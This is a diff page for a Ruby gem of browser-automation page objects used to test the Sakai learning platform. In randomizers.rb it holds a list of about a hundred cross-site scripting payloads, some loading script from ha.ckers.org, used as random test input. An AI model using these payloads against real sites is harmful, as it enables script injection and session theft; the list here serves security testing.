sambal-cle 0.1.3
Sign up to get free protection for your applications and to get access to all the features.
- data/README.md +4 -0
- data/lib/sambal-cle/base_page.rb +20 -0
- data/lib/sambal-cle/core-ext.rb +90 -0
- data/lib/sambal-cle/data_objects/announcement.rb +82 -0
- data/lib/sambal-cle/data_objects/assessment.rb +32 -0
- data/lib/sambal-cle/data_objects/assignment.rb +205 -0
- data/lib/sambal-cle/data_objects/blog.rb +46 -0
- data/lib/sambal-cle/data_objects/blogger.rb +49 -0
- data/lib/sambal-cle/data_objects/chat_room.rb +54 -0
- data/lib/sambal-cle/data_objects/event.rb +89 -0
- data/lib/sambal-cle/data_objects/forum.rb +212 -0
- data/lib/sambal-cle/data_objects/lesson.rb +185 -0
- data/lib/sambal-cle/data_objects/message.rb +57 -0
- data/lib/sambal-cle/data_objects/poll.rb +74 -0
- data/lib/sambal-cle/data_objects/resource.rb +209 -0
- data/lib/sambal-cle/data_objects/site.rb +295 -0
- data/lib/sambal-cle/data_objects/syllabus.rb +73 -0
- data/lib/sambal-cle/data_objects/web_content_tool.rb +51 -0
- data/lib/sambal-cle/data_objects/wiki.rb +63 -0
- data/lib/sambal-cle/date_makers.rb +118 -0
- data/lib/sambal-cle/gem_ext.rb +23 -0
- data/lib/sambal-cle/page_helper.rb +22 -0
- data/lib/sambal-cle/page_maker.rb +48 -0
- data/lib/sambal-cle/page_objects/account.rb +111 -0
- data/lib/sambal-cle/page_objects/aliases.rb +43 -0
- data/lib/sambal-cle/page_objects/announcements.rb +190 -0
- data/lib/sambal-cle/page_objects/assessments.rb +874 -0
- data/lib/sambal-cle/page_objects/assignments.rb +770 -0
- data/lib/sambal-cle/page_objects/basic_lti.rb +6 -0
- data/lib/sambal-cle/page_objects/blogger.rb +205 -0
- data/lib/sambal-cle/page_objects/blogs.rb +60 -0
- data/lib/sambal-cle/page_objects/calendar.rb +330 -0
- data/lib/sambal-cle/page_objects/calendar_summary.rb +1 -0
- data/lib/sambal-cle/page_objects/chat_room.rb +22 -0
- data/lib/sambal-cle/page_objects/drop_box.rb +9 -0
- data/lib/sambal-cle/page_objects/email_archive.rb +22 -0
- data/lib/sambal-cle/page_objects/entity_picker.rb +62 -0
- data/lib/sambal-cle/page_objects/evaluations.rb +158 -0
- data/lib/sambal-cle/page_objects/feedback.rb +36 -0
- data/lib/sambal-cle/page_objects/forms.rb +120 -0
- data/lib/sambal-cle/page_objects/forums.rb +254 -0
- data/lib/sambal-cle/page_objects/glossary.rb +117 -0
- data/lib/sambal-cle/page_objects/gradebook.rb +29 -0
- data/lib/sambal-cle/page_objects/gradebook2.rb +17 -0
- data/lib/sambal-cle/page_objects/home.rb +36 -0
- data/lib/sambal-cle/page_objects/jforums.rb +444 -0
- data/lib/sambal-cle/page_objects/job_scheduler.rb +121 -0
- data/lib/sambal-cle/page_objects/lessons.rb +361 -0
- data/lib/sambal-cle/page_objects/login.rb +28 -0
- data/lib/sambal-cle/page_objects/matrix.rb +241 -0
- data/lib/sambal-cle/page_objects/media_gallery.rb +13 -0
- data/lib/sambal-cle/page_objects/messages.rb +622 -0
- data/lib/sambal-cle/page_objects/my_workspace.rb +44 -0
- data/lib/sambal-cle/page_objects/news.rb +8 -0
- data/lib/sambal-cle/page_objects/podcasts.rb +27 -0
- data/lib/sambal-cle/page_objects/polls.rb +69 -0
- data/lib/sambal-cle/page_objects/portfolio_templates.rb +161 -0
- data/lib/sambal-cle/page_objects/portfolios.rb +162 -0
- data/lib/sambal-cle/page_objects/post_em.rb +1 -0
- data/lib/sambal-cle/page_objects/profile.rb +51 -0
- data/lib/sambal-cle/page_objects/profile2.rb +344 -0
- data/lib/sambal-cle/page_objects/public_search.rb +61 -0
- data/lib/sambal-cle/page_objects/realms.rb +19 -0
- data/lib/sambal-cle/page_objects/resources.rb +326 -0
- data/lib/sambal-cle/page_objects/resources_roster.rb +0 -0
- data/lib/sambal-cle/page_objects/rosters.rb +70 -0
- data/lib/sambal-cle/page_objects/rwiki.rb +34 -0
- data/lib/sambal-cle/page_objects/search.rb +34 -0
- data/lib/sambal-cle/page_objects/sections.rb +295 -0
- data/lib/sambal-cle/page_objects/single_user.rb +1 -0
- data/lib/sambal-cle/page_objects/site_setup.rb +621 -0
- data/lib/sambal-cle/page_objects/site_statistics.rb +1 -0
- data/lib/sambal-cle/page_objects/sites.rb +255 -0
- data/lib/sambal-cle/page_objects/styles.rb +74 -0
- data/lib/sambal-cle/page_objects/syllabus.rb +166 -0
- data/lib/sambal-cle/page_objects/user_membership.rb +57 -0
- data/lib/sambal-cle/page_objects/users.rb +88 -0
- data/lib/sambal-cle/randomizers.rb +117 -0
- data/lib/sambal-cle/rich_text.rb +38 -0
- data/lib/sambal-cle/utilities.rb +31 -0
- data/lib/sambal-cle/workflows.rb +223 -0
- data/lib/sambal-cle.rb +31 -0
- data/sambal-cle.gemspec +14 -0
- data/test/add_assignment_to_calendar_spec.rb +86 -0
- data/test/assignment_announcements_spec.rb +71 -0
- data/test/assignment_gradebook_spec.rb +98 -0
- data/test/config.yml.template +4 -0
- data/test/directory.yml.template +123 -0
- data/test/duplicate_site_spec.rb +244 -0
- metadata +167 -0
@@ -0,0 +1,117 @@
|
|
1
|
+
# coding: UTF-8
|
2
|
+
module Randomizers
|
3
|
+
|
4
|
+
# A random string creator that draws from all printable ASCII characters
|
5
|
+
# from 33 to 128. Default length is 10 characters.
|
6
|
+
def random_string(length=10, s="")
|
7
|
+
length.enum_for(:times).inject(s) do |result, index|
|
8
|
+
s << rand(93) + 33
|
9
|
+
end
|
10
|
+
end
|
11
|
+
|
12
|
+
# A random string creator that draws from all printable ASCII and High ASCII characters
|
13
|
+
# from 33 to 256. Default length is 10 characters.
|
14
|
+
def random_high_ascii(length=10, s="")
|
15
|
+
length.enum_for(:times).inject(s) do |result, index|
|
16
|
+
s << rand(223) + 33
|
17
|
+
end
|
18
|
+
end
|
19
|
+
|
20
|
+
# A "friendlier" random string generator. No characters need to be escaped for valid URLs.
|
21
|
+
# Uses no Reserved or "Unsafe" characters.
|
22
|
+
# Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
|
23
|
+
def random_nicelink(length=10)
|
24
|
+
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
|
25
|
+
(0...length).map { chars[rand(chars.size)]}.join
|
26
|
+
end
|
27
|
+
|
28
|
+
# Returns a string that is properly formatted like an email address.
|
29
|
+
# The string returned defaults to 268 characters long.
|
30
|
+
# Including a number between 1 and 62 will shrink this string by 62 minus the specified
|
31
|
+
# value.
|
32
|
+
def random_email(x=62)
|
33
|
+
x > 62 ? x=62 : x=x
|
34
|
+
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
|
35
|
+
random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
|
36
|
+
end
|
37
|
+
|
38
|
+
# A random string generator that uses all characters
|
39
|
+
# available on an American Qwerty keyboard.
|
40
|
+
def random_alphanums_plus(length=10, s="")
|
41
|
+
chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @ # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
|
42
|
+
length.times { s << chars[rand(chars.size)] }
|
43
|
+
s.to_s
|
44
|
+
end
|
45
|
+
|
46
|
+
# A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
|
47
|
+
def random_alphanums(length=10, s="")
|
48
|
+
chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
|
49
|
+
length.times { s << chars[rand(chars.size)] }
|
50
|
+
s.to_s
|
51
|
+
end
|
52
|
+
|
53
|
+
# A random string generator that uses only lower case letters.
|
54
|
+
def random_letters(length=10, s="")
|
55
|
+
chars = 'abcdefghjkmnpqrstuvwxyz'
|
56
|
+
length.times { s << chars[rand(chars.size)] }
|
57
|
+
s.to_s
|
58
|
+
end
|
59
|
+
|
60
|
+
# Returns a block of text (of the specified type, see below) containing
|
61
|
+
# the specified number of "words" (each containing between 1 and 16 chars)
|
62
|
+
# randomly spread across the specified number of lines (note that
|
63
|
+
# the method does not allow the line count to be larger than
|
64
|
+
# the word count and will "fix" it if it is).
|
65
|
+
#
|
66
|
+
# If no parameters are provided, the method will return two alphanumeric
|
67
|
+
# "words" on two lines.
|
68
|
+
#
|
69
|
+
# The last parameter the method takes will determine the character content
|
70
|
+
# of the string, viz.:
|
71
|
+
#
|
72
|
+
# :alpha => "Alphanumeric" - Uses the random_alphanums method
|
73
|
+
# :string => uses the random_string method, so chars 33 through 128 will be included
|
74
|
+
# :ascii => All ASCII chars from 33 to 256 are fair game -> uses random_high_ascii
|
75
|
+
def random_multiline(word_count=2, line_count=2, char_type=:alpha)
|
76
|
+
char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
|
77
|
+
if line_count > word_count
|
78
|
+
line_count = word_count - 1
|
79
|
+
end
|
80
|
+
words = []
|
81
|
+
non_words = []
|
82
|
+
word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
|
83
|
+
(line_count - 1).times { non_words << "\n" } # adding the number of line feeds
|
84
|
+
unless word_count==line_count
|
85
|
+
(word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
|
86
|
+
end
|
87
|
+
non_words.shuffle! # Have to shuffle the line feeds around!
|
88
|
+
array = words.zip(non_words)
|
89
|
+
array.flatten!
|
90
|
+
array.join("")
|
91
|
+
end
|
92
|
+
|
93
|
+
# Picks at random from the list of XSS test strings, using
|
94
|
+
# the provided number as size of the list to choose from.
|
95
|
+
# It will randomly pre-pend the string with HTML closing tags.
|
96
|
+
#
|
97
|
+
# The strings are organized by length, with the shorter ones
|
98
|
+
# first. There are 102 strings.
|
99
|
+
def random_xss_string(number=102)
|
100
|
+
if number > 102
|
101
|
+
number = 102
|
102
|
+
end
|
103
|
+
xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav	ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\"  javascript:alert('XSS');\">", "<IMG SRC=javascript:alert("XSS")>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=javascript:alert('XSS')>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=javascript:alert('XSS')>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=javascript:alert('XSS')>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
|
104
|
+
x = rand(4)
|
105
|
+
case(x)
|
106
|
+
when 0
|
107
|
+
return xss[rand(number)]
|
108
|
+
when 1
|
109
|
+
return %|"| + xss[rand(number)]
|
110
|
+
when 2
|
111
|
+
return %|">| + xss[rand(number)]
|
112
|
+
when 3
|
113
|
+
return %|>| + xss[rand(number)]
|
114
|
+
end
|
115
|
+
|
116
|
+
end
|
117
|
+
end
|
@@ -0,0 +1,38 @@
|
|
1
|
+
module FCKEditor
|
2
|
+
|
3
|
+
# This has to be defined this way because there several pages
|
4
|
+
# that have multiple rich text editors.
|
5
|
+
def source(editor)
|
6
|
+
editor.div(:title=>/Source/).wait_until_present
|
7
|
+
editor.div(:title=>/Source/).click
|
8
|
+
end
|
9
|
+
|
10
|
+
def select_all(editor)
|
11
|
+
editor.div(:title=>"Select All").wait_until_present
|
12
|
+
editor.div(:title=>"Select All").click
|
13
|
+
end
|
14
|
+
|
15
|
+
def enter_source_text(editor, text)
|
16
|
+
source(editor)
|
17
|
+
source_field(editor).wait_until_present
|
18
|
+
source_field(editor).set text
|
19
|
+
end
|
20
|
+
|
21
|
+
def get_source_text(editor)
|
22
|
+
source(editor)
|
23
|
+
source_field(editor).wait_until_present
|
24
|
+
source_field(editor).value
|
25
|
+
end
|
26
|
+
|
27
|
+
def entity_picker(editor)
|
28
|
+
editor.div(:title=>"Sakai_Entity_Link").wait_until_present
|
29
|
+
editor.div(:title=>"Sakai_Entity_Link").click
|
30
|
+
@browser.frame(:index=>2).frame(:id=>"frmMain").button(:value=>"Browse Server").click
|
31
|
+
@browser.window(:index=>1).use
|
32
|
+
end
|
33
|
+
|
34
|
+
def source_field(editor)
|
35
|
+
editor.text_field(:class=>"SourceField")
|
36
|
+
end
|
37
|
+
|
38
|
+
end
|
@@ -0,0 +1,31 @@
|
|
1
|
+
# coding: UTF-8
|
2
|
+
|
3
|
+
module Utilities
|
4
|
+
|
5
|
+
# Strips the file name away from the path information.
|
6
|
+
#
|
7
|
+
# This way it's not necessary to define variables for BOTH the
|
8
|
+
# file name and the file path + file name. Just define the
|
9
|
+
# path + name and then use this method to extract only the filename
|
10
|
+
# portion.
|
11
|
+
#
|
12
|
+
# NOTE: This may be deprecated in the future, so think hard before
|
13
|
+
# using it.
|
14
|
+
def get_filename(path_plus_name_string)
|
15
|
+
path_plus_name_string =~ /(?<=\/).+/
|
16
|
+
return $~.to_s
|
17
|
+
end
|
18
|
+
|
19
|
+
# Shorthand method for making a data object for testing.
|
20
|
+
def make data_object_class, opts={}
|
21
|
+
data_object_class.new @browser, opts
|
22
|
+
end
|
23
|
+
|
24
|
+
# Transform for use with data object instance variables
|
25
|
+
# that refer to checkboxes or radio buttons.
|
26
|
+
def checkbox_setting(checkbox)
|
27
|
+
checkbox.set? ? :set : :clear
|
28
|
+
end
|
29
|
+
alias radio_setting checkbox_setting
|
30
|
+
|
31
|
+
end
|
@@ -0,0 +1,223 @@
|
|
1
|
+
# Workflows is a module containing helper navigation methods
|
2
|
+
module Workflows
|
3
|
+
|
4
|
+
def self.menu_link name, opts={}
|
5
|
+
define_method name.to_s do
|
6
|
+
@browser.link(opts).click
|
7
|
+
end
|
8
|
+
end
|
9
|
+
|
10
|
+
# Opens "My Sites" and then clicks on the matching
|
11
|
+
# Site name. Shortens the name used for search so
|
12
|
+
# that truncated names are not a problem.
|
13
|
+
# Should be followed by the Home class.
|
14
|
+
#
|
15
|
+
# Will error out if there are not matching links.
|
16
|
+
def open_my_site_by_name(name)
|
17
|
+
truncated_name = name[0..19]
|
18
|
+
@browser.link(:text, "My Sites").click
|
19
|
+
@browser.link(:text, /#{Regexp.escape(truncated_name)}/).click
|
20
|
+
end
|
21
|
+
|
22
|
+
# Clicks the "Account" link in the Adminstration Workspace
|
23
|
+
# Should be followed by the UserAccount class.
|
24
|
+
#
|
25
|
+
# Throws an error if the link is not present.
|
26
|
+
menu_link :account, :text=>"Account"
|
27
|
+
|
28
|
+
# Clicks the "Aliases" link in the Administration Workspace
|
29
|
+
# menu, then should be followed by the Aliases class.
|
30
|
+
menu_link :aliases, :text=>"Aliases"
|
31
|
+
|
32
|
+
# Clicks the link for the Administration Workspace, then
|
33
|
+
# should be followed by the MyWorkspace class.
|
34
|
+
menu_link :administration_workspace, :text=>"Administration Workspace"
|
35
|
+
|
36
|
+
# Clicks the Announcements link goes to
|
37
|
+
# the Announcements class.
|
38
|
+
menu_link :announcements, :class=>'icon-sakai-announcements'
|
39
|
+
|
40
|
+
# Clicks the Assignments link, goes to
|
41
|
+
# the AssignmentsList class.
|
42
|
+
menu_link :assignments, :class=>"icon-sakai-assignment-grades"
|
43
|
+
|
44
|
+
# BasicLTI class
|
45
|
+
menu_link :basic_lti, :class=>"icon-sakai-basiclti"
|
46
|
+
|
47
|
+
# Blogs class
|
48
|
+
menu_link :blogs, :class=>"icon-sakai-blogwow"
|
49
|
+
|
50
|
+
# Clicks the Blogger link in the Site menu and
|
51
|
+
# instantiates the Blogger Class.
|
52
|
+
menu_link :blogger, :class=>"icon-blogger"
|
53
|
+
|
54
|
+
# Clicks the Calendar link, then instantiates
|
55
|
+
# the Calendar class.
|
56
|
+
menu_link :calendar, :text=>"Calendar"
|
57
|
+
|
58
|
+
menu_link :certification, :text=>"Certification"
|
59
|
+
|
60
|
+
# ChatRoom class
|
61
|
+
menu_link :chat_room, :class=>"icon-sakai-chat"
|
62
|
+
|
63
|
+
menu_link :configuration_viewer, :text=>"Configuration Viewer"
|
64
|
+
menu_link :customizer, :text=>"Customizer"
|
65
|
+
|
66
|
+
# JForum page class.
|
67
|
+
menu_link :discussion_forums, :class=>"icon-sakai-jforum-tool"
|
68
|
+
|
69
|
+
# DropBox class
|
70
|
+
menu_link :drop_box, :class=>"icon-sakai-dropbox"
|
71
|
+
|
72
|
+
menu_link :email, :text=>"Email"
|
73
|
+
|
74
|
+
# Email Archive class
|
75
|
+
menu_link :email_archive, :class=>"icon-sakai-mailbox"
|
76
|
+
|
77
|
+
menu_link :email_template_administration, :text=>"Email Template Administration"
|
78
|
+
|
79
|
+
# EvaluationSystem class
|
80
|
+
menu_link :evaluation_system, :class=>"icon-sakai-rsf-evaluation"
|
81
|
+
|
82
|
+
# Feedback class
|
83
|
+
menu_link :feedback, :class=>"icon-sakai-postem"
|
84
|
+
|
85
|
+
# Forms class
|
86
|
+
menu_link :forms, :text=>"Forms", :class=>"icon-sakai-metaobj"
|
87
|
+
|
88
|
+
# Forums class.
|
89
|
+
menu_link :forums, :text=>"Forums"
|
90
|
+
|
91
|
+
# Glossary Class.
|
92
|
+
menu_link :glossary, :text=>"Glossary"
|
93
|
+
|
94
|
+
# Gradebook Class.
|
95
|
+
menu_link :gradebook, :text=>"Gradebook"
|
96
|
+
|
97
|
+
# Gradebook2 class
|
98
|
+
menu_link :gradebook2, :text=>"Gradebook2"
|
99
|
+
|
100
|
+
menu_link :help, :text=>"Help"
|
101
|
+
|
102
|
+
# Home class--unless the target page happens to be
|
103
|
+
# My Workspace, in which case the MyWorkspace
|
104
|
+
# page should be used.
|
105
|
+
menu_link :home, :text=>"Home"
|
106
|
+
|
107
|
+
# Job Scheduler class.
|
108
|
+
menu_link :job_scheduler, :text=>"Job Scheduler"
|
109
|
+
|
110
|
+
# Lessons class
|
111
|
+
menu_link :lessons, :text=>"Lessons"
|
112
|
+
|
113
|
+
menu_link :lesson_builder, :text=>"Lesson Builder"
|
114
|
+
menu_link :link_tool, :text=>"Link Tool"
|
115
|
+
menu_link :live_virtual_classroom, :text=>"Live Virtual Classroom"
|
116
|
+
|
117
|
+
# Matrices Class
|
118
|
+
menu_link :matrices, :text=>"Matrices"
|
119
|
+
|
120
|
+
# MediaGallery class
|
121
|
+
menu_link :media_gallery, :class=>"icon-sakai-kaltura"
|
122
|
+
|
123
|
+
menu_link :membership, :text=>"Membership"
|
124
|
+
menu_link :memory, :text=>"Memory"
|
125
|
+
|
126
|
+
# Messages class.
|
127
|
+
menu_link :messages, :text=>"Messages"
|
128
|
+
menu_link :my_sites, :text=>"My Sites"
|
129
|
+
|
130
|
+
# MyWorkspace Class.
|
131
|
+
menu_link :my_workspace, :text=>"My Workspace"
|
132
|
+
|
133
|
+
# News
|
134
|
+
menu_link :news, :class=>"icon-sakai-news"
|
135
|
+
|
136
|
+
menu_link :online, :text=>"On-Line"
|
137
|
+
menu_link :oauth_providers, :text=>"Oauth Providers"
|
138
|
+
menu_link :oauth_tokens, :text=>"Oauth Tokens"
|
139
|
+
menu_link :openSyllabus, :text=>"OpenSyllabus"
|
140
|
+
|
141
|
+
# Podcasts
|
142
|
+
menu_link :podcasts, :class=>"icon-sakai-podcasts"
|
143
|
+
|
144
|
+
# Polls class
|
145
|
+
menu_link :polls, :class=>"icon-sakai-poll"
|
146
|
+
|
147
|
+
# Portfolios class
|
148
|
+
menu_link :portfolios, :class=>"icon-osp-presentation"
|
149
|
+
|
150
|
+
# PortfolioTemplates
|
151
|
+
menu_link :portfolio_templates, :text=>"Portfolio Templates"
|
152
|
+
|
153
|
+
menu_link :preferences, :text=>"Preferences"
|
154
|
+
|
155
|
+
menu_link :profile, :text=>"Profile"
|
156
|
+
|
157
|
+
# Profile2 class
|
158
|
+
menu_link :profile2, :class=>"icon-sakai-profile2"
|
159
|
+
|
160
|
+
menu_link :realms, :text=>"Realms"
|
161
|
+
|
162
|
+
# Resources class.
|
163
|
+
menu_link :resources, :text=>"Resources"
|
164
|
+
|
165
|
+
# Roster
|
166
|
+
menu_link :roster, :class=>"icon-sakai-site-roster"
|
167
|
+
|
168
|
+
menu_link :rsmart_support, :text=>"rSmart Support"
|
169
|
+
|
170
|
+
# Because "Search" is used in many pages,
|
171
|
+
# The Search button found in the Site Management
|
172
|
+
# Menu must be given the more explicit name
|
173
|
+
menu_link :site_management_search, :class=>"icon-sakai-search"
|
174
|
+
|
175
|
+
# Sections
|
176
|
+
menu_link :sections, :class=>"icon-sakai-sections"
|
177
|
+
|
178
|
+
menu_link :site_archive, :text=>"Site Archive"
|
179
|
+
|
180
|
+
# SiteEditor class.
|
181
|
+
menu_link :site_editor, :text=>"Site Editor"
|
182
|
